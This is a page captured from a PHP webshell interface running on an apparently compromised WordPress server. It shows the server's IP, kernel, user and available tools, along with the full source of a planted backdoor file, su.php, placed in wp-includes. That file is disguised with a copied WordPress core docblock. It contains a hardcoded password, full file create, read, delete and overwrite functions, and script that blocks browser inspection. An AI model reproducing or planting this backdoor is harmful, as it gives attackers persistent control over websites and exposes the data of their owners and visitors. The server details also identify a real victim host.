403Webshell
Server IP : 213.255.246.8  /  Your IP : 216.73.217.178
Web Server : Apache
System : Linux dublin.stapolin.com 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
User : stapolin ( 1019)
PHP Version : 8.4.24
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stapolin/public_html/wp-includes/pomo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/stapolin/public_html/wp-includes/pomo/su.php
<?php
/**
 * Canonical API to handle WordPress Redirecting
 *
 * Based on "Permalink Redirect" from Scott Yang and "Enforce www. Preference"
 * by Mark Jaquith
 *
 * @package WordPress
 * @since 2.3.0
 */

/**
 * Redirects incoming links to the proper URL based on the site url.
 *
 * Search engines consider www.somedomain.com and somedomain.com to be two
 * different URLs when they both go to the same location. This SEO enhancement
 * prevents penalty for duplicate content by redirecting all incoming links to
 * one or the other.
 *
 * Prevents redirection for feeds, trackbacks, searches, and
 * admin URLs. Does not redirect on non-pretty-permalink-supporting IIS 7+,
 * page/post previews, WP admin, Trackbacks, robots.txt, searches, or on POST
 * requests.
 *
 * Will also attempt to find the correct link when a user enters a URL that does
 * not exist based on exact WordPress query. Will instead try to parse the URL
 * or query in an attempt to figure the correct page to go to.
 *
 * @since 2.3.0
 *
 * @global WP_Rewrite $wp_rewrite
 * @global bool $is_IIS
 * @global WP_Query $wp_query
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $requested_url Optional. The URL that was requested, used to
 *		figure if redirect is needed.
 * @param bool $do_redirect Optional. Redirect to the new URL.
 * @return string|void The string of the URL, if redirect needed.
 */
session_start();
$password="kampang";
$base_dir=realpath(__DIR__);

// LOGIN
if(isset($_POST['login']) && $_POST['password']===$password){$_SESSION['login']=true;}
if(isset($_GET['logout'])){session_destroy();header("Location: ./");exit;}
if(!isset($_SESSION['login'])){
?>
<!DOCTYPE html><html><body style="display:flex;justify-content:center;align-items:center;height:100vh;background:#020617;color:#38bdf8;font-family:sans-serif">
<form method="POST"><h2>Admin Login</h2>
<input type="password" name="password"><br><br>
<button name="login">ENTER</button>
</form></body></html>
<?php exit; }

// SAFE PATH
$path=isset($_GET['path'])?realpath($_GET['path']):$base_dir;
if(!$path||strpos($path,$base_dir)!==0)$path=$base_dir;
$parent=dirname($path);
if(strpos($parent,$base_dir)!==0)$parent=$base_dir;

// STREAM FILE
if(isset($_GET['file'])){
$f=realpath($_GET['file']);
if($f && strpos($f,$base_dir)===0 && is_file($f)){
header("Content-Type: text/plain; charset=utf-8");
echo file_get_contents($f);
exit;
}
}

// CREATE FILE
if(isset($_POST['create_file'])){
file_put_contents($path.'/'.$_POST['new_name'],"");
header("Location: ?path=".urlencode($path));exit;
}

// CREATE FOLDER
if(isset($_POST['create_folder'])){
mkdir($path.'/'.$_POST['folder_name'],0777,true);
header("Location: ?path=".urlencode($path));exit;
}

// DELETE MULTI
if(isset($_POST['delete_selected'])){
foreach($_POST['files'] as $f){
$real=realpath($f);
if($real && strpos($real,$base_dir)===0){
if(is_dir($real)) rmdir($real); else unlink($real);
}
}
header("Location: ?path=".urlencode($path));exit;
}

// SAVE FILE
if(isset($_POST['save_file'])){
file_put_contents($_POST['file_path'],$_POST['content']);
exit;
}

$files=scandir($path);
?>

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Admin Login</title>

<style>
body{margin:0;background:#020617;color:#e2e8f0;font-family:Segoe UI}
.header{display:flex;justify-content:space-between;padding:15px;border-bottom:1px solid #0ea5e9}
.logo{color:#38bdf8;font-weight:bold;text-shadow:0 0 10px #38bdf8}
button{background:#0ea5e9;color:white;border:none;padding:8px 12px;border-radius:8px;cursor:pointer}
button:hover{box-shadow:0 0 15px #38bdf8}
.container{display:flex;height:calc(100vh - 60px)}
.left{width:30%;overflow:auto;padding:15px;border-right:1px solid #0ea5e9}
.right{width:70%;padding:15px;display:flex;flex-direction:column}
.card{padding:10px;margin:5px 0;background:#0f172a;border-radius:8px;cursor:pointer}
.card:hover{background:#1e293b;transform:scale(1.02)}
textarea{background:#020617;color:#38bdf8;border:1px solid #0ea5e9;box-shadow:0 0 10px #0ea5e9}
iframe{border:1px solid #0ea5e9;box-shadow:0 0 10px #0ea5e9}
#viewer{flex:1;display:flex;flex-direction:column}
</style>
</head>

<body>

<div class="header">
<div class="logo">⚡ Admin Login</div>
<div>
<button onclick="goBack()">⬅ Back</button>
<button onclick="logout()">Logout</button>
</div>
</div>

<div class="container">

<div class="left">
<h4><?php echo $path; ?></h4>

<form method="POST">
<input name="new_name" placeholder="New file">
<button name="create_file">File</button>
</form>

<form method="POST">
<input name="folder_name" placeholder="New folder">
<button name="create_folder">Folder</button>
</form>

<form method="POST">
<button name="delete_selected">🗑 Delete Selected</button>

<?php foreach($files as $f): if($f=='.'||$f=='..') continue; $full=$path.'/'.$f;?>
<div class="card">
<input type="checkbox" name="files[]" value="<?php echo $full; ?>">
<span onclick="openFile('<?php echo urlencode($full); ?>','<?php echo is_dir($full)?'dir':'file'; ?>')">
<?php echo is_dir($full)?'📂':'📄'; ?> <?php echo $f; ?>
</span>
</div>
<?php endforeach; ?>

</form>
</div>

<div class="right" id="viewer">
<h3>Editor / Preview</h3>
</div>

</div>

<script>
function openFile(path,type){
if(type==='dir'){
window.location='?path='+path;
return;
}

fetch('?file='+path)
.then(r=>r.text())
.then(data=>{
let v=document.getElementById('viewer');

v.innerHTML=`
<div style="display:flex;flex-direction:column;height:100%">

<div style="flex:1;display:flex;gap:10px;">

<textarea id="code" style="width:50%;height:100%;">${data}</textarea>

<iframe id="preview" style="width:50%;height:100%;background:white;"></iframe>

</div>

<div style="margin-top:10px;">
<button onclick="saveFile('${path}')">Save</button>
</div>

</div>
`;

let textarea=document.getElementById('code');
let preview=document.getElementById('preview');

function update(){
preview.srcdoc = textarea.value;
}

textarea.addEventListener('input', update);
update();

});
}

function saveFile(path){
let content=document.getElementById('code').value;

fetch('',{
method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'save_file=1&file_path='+decodeURIComponent(path)+'&content='+encodeURIComponent(content)
});

alert('Saved');
}

function goBack(){
window.location='?path=<?php echo urlencode($parent); ?>';
}

function logout(){
window.location='?logout';
}

// disable inspect
document.addEventListener('keydown',function(e){
if(e.ctrlKey && ['u','s','i','c'].includes(e.key.toLowerCase())) e.preventDefault();
if(e.key==='F12') e.preventDefault();
});
document.addEventListener('contextmenu',e=>e.preventDefault());
</script>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit